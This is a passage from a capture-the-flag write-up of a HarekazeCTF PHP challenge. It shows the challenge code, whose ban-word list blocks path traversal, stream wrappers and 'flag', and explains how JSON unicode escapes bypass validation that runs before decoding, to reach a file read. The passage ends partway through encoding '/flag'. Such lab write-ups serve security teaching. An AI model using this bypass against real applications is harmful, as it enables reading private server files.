class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetElementsByClassName\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;link\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003elink\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"nx\"\u003efetch\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;query.php\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"s1\"\u003e\u0026#39;method\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;POST\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"s1\"\u003e\u0026#39;headers\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"s1\"\u003e\u0026#39;Content-Type\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;application/json\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"s1\"\u003e\u0026#39;body\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003eJSON\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estringify\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"s1\"\u003e\u0026#39;page\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003elink\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ehref\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;#\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e}).\u003c/span\u003e\u003cspan class=\"nx\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eresp\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003eresp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ejson\u003c/span\u003e\u003cspan class=\"p\"\u003e()).\u003c/span\u003e\u003cspan class=\"nx\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eresp\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003einnerHTML\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eresp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e},\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eOn the server side, \u003ccode\u003equery.php\u003c/code\u003e handles the request and serves the response with a suspicious-looking call to \u003ccode\u003efile_get_contents\u003c/code\u003e.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e\u0026lt;?\u003c/span\u003e\u003cspan class=\"nx\"\u003ephp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eerror_reporting\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_GET\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;source\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003eshow_source\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"no\"\u003e__FILE__\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eis_valid\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$str\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nv\"\u003e$banword\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// no path traversal\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s1\"\u003e\u0026#39;\\.\\.\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// no stream wrapper\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s1\"\u003e\u0026#39;(php|file|glob|data|tp|zip|zlib|phar):\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// no data exfiltration\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s1\"\u003e\u0026#39;flag\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nv\"\u003e$regexp\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"nx\"\u003eimplode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;|\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$banword\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$regexp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$str\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$body\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003efile_get_contents\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;php://input\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$json\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ejson_decode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$body\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eis_valid\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$body\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$json\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$json\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;page\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nv\"\u003e$page\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$json\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;page\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nv\"\u003e$content\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003efile_get_contents\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$page\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nv\"\u003e$content\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eis_valid\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$content\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$content\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u0026lt;p\u0026gt;not found\u0026lt;/p\u0026gt;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nv\"\u003e$content\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026lt;p\u0026gt;invalid request\u0026lt;/p\u0026gt;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// no data exfiltration!!!\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$content\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003epreg_replace\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/HarekazeCTF\\{.+\\}/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s1\"\u003e\u0026#39;HarekazeCTF{\u0026amp;lt;censored\u0026amp;gt;}\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$content\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eecho\u003c/span\u003e \u003cspan class=\"nx\"\u003ejson_encode\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;content\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$content\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cabbr title=\"PHP: Hypertext Preprocessor\"\u003ePHP\u003c/abbr\u003e has a habit of doing too much at once, leading to innocent code doing something unexpected. PHP's stream, protocol, and fopen wrappers are often culprits. Generally, if untrusted input can find its way into \u003ccode\u003efile_get_contents\u003c/code\u003e, you are probably in trouble.\u003c/p\u003e\n\u003cp\u003eDespite the author's attempts to mitigate path traversal and data exfiltration, they've made some fatal errors that will ultimately lead us to steal the flag.\u003c/p\u003e\n\u003cp\u003eOur eyes are drawn to the following sloppiness.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$body\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003efile_get_contents\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;php://input\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$json\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ejson_decode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$body\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eis_valid\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$body\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$json\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$json\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;page\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nv\"\u003e$page\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$json\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;page\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nv\"\u003e$content\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003efile_get_contents\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$page\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"c1\"\u003e// ...\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe issue here is premature validation. The \u003ccode\u003eis_valid\u003c/code\u003e function is applied to \u003ccode\u003e$body\u003c/code\u003e \u003cem\u003ebefore\u003c/em\u003e it goes through \u003ccode\u003ejson_decode\u003c/code\u003e, not afterwards.\u003c/p\u003e\n\u003cp\u003eJSON decoding involves processing escape sequences, so if escape sequences can be used to obfuscate the input then the validation code will be bypassed without affecting the final (decoded) string.\u003c/p\u003e\n\u003cp\u003eLet's look at the \u003ca href=\"https://www.json.org/\" rel=\"noreferrer nofollow noopener\"\u003eJSON specification\u003c/a\u003e's definition for a string.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003ca href=\"/harekaze-encode/string.png\" rel=\"noreferrer nofollow noopener\" target=\"_blank\"\u003e\u003cimg src=\"/harekaze-encode/string.png\" alt=\"Railroad diagram from the JSON specification showing the syntax for JSON strings\"\u003e\u003c/a\u003e\n    \u003cfigcaption\u003eJSON string syntax diagram\u003c/figcaption\u003e\n\u003c/figure\u003e\n\u003cp\u003eJSON supports unicode escapes of the form \u003ccode\u003e\\uXXXX\u003c/code\u003e, where \u003ccode\u003eXXXX\u003c/code\u003e is the 4 hex digits representing the \u003ca href=\"https://en.wikipedia.org/wiki/Code_point\" rel=\"noreferrer nofollow noopener\"\u003eunicode code point\u003c/a\u003e of the character.\u003c/p\u003e\n\u003cp\u003eFor example the letter \u003ccode\u003eA\u003c/code\u003e is \u003ccode\u003e0x41\u003c/code\u003e and represented as \u003ccode\u003e\\u0041\u003c/code\u003e.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ \u003cspan class=\"nb\"\u003eecho\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;{ \u0026#34;page\u0026#34;: \u0026#34;\\u0041\\u0041\\u0041\\u0041\u0026#34; }\u0026#39;\u003c/span\u003e \u003cspan class=\"p\"\u003e|\u003c/span\u003e jq\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"s2\"\u003e\u0026#34;page\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;AAAA\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe tool \u003ccode\u003euni2ascii\u003c/code\u003e can convert \u003cabbr title=\"American Standard Code for Information Interchange\"\u003eASCII\u003c/abbr\u003e text to unicode escapes.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ \u003cspan class=\"nb\"\u003eecho\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/flag\u0026#39;\u003c/span\u003e \u003cspan 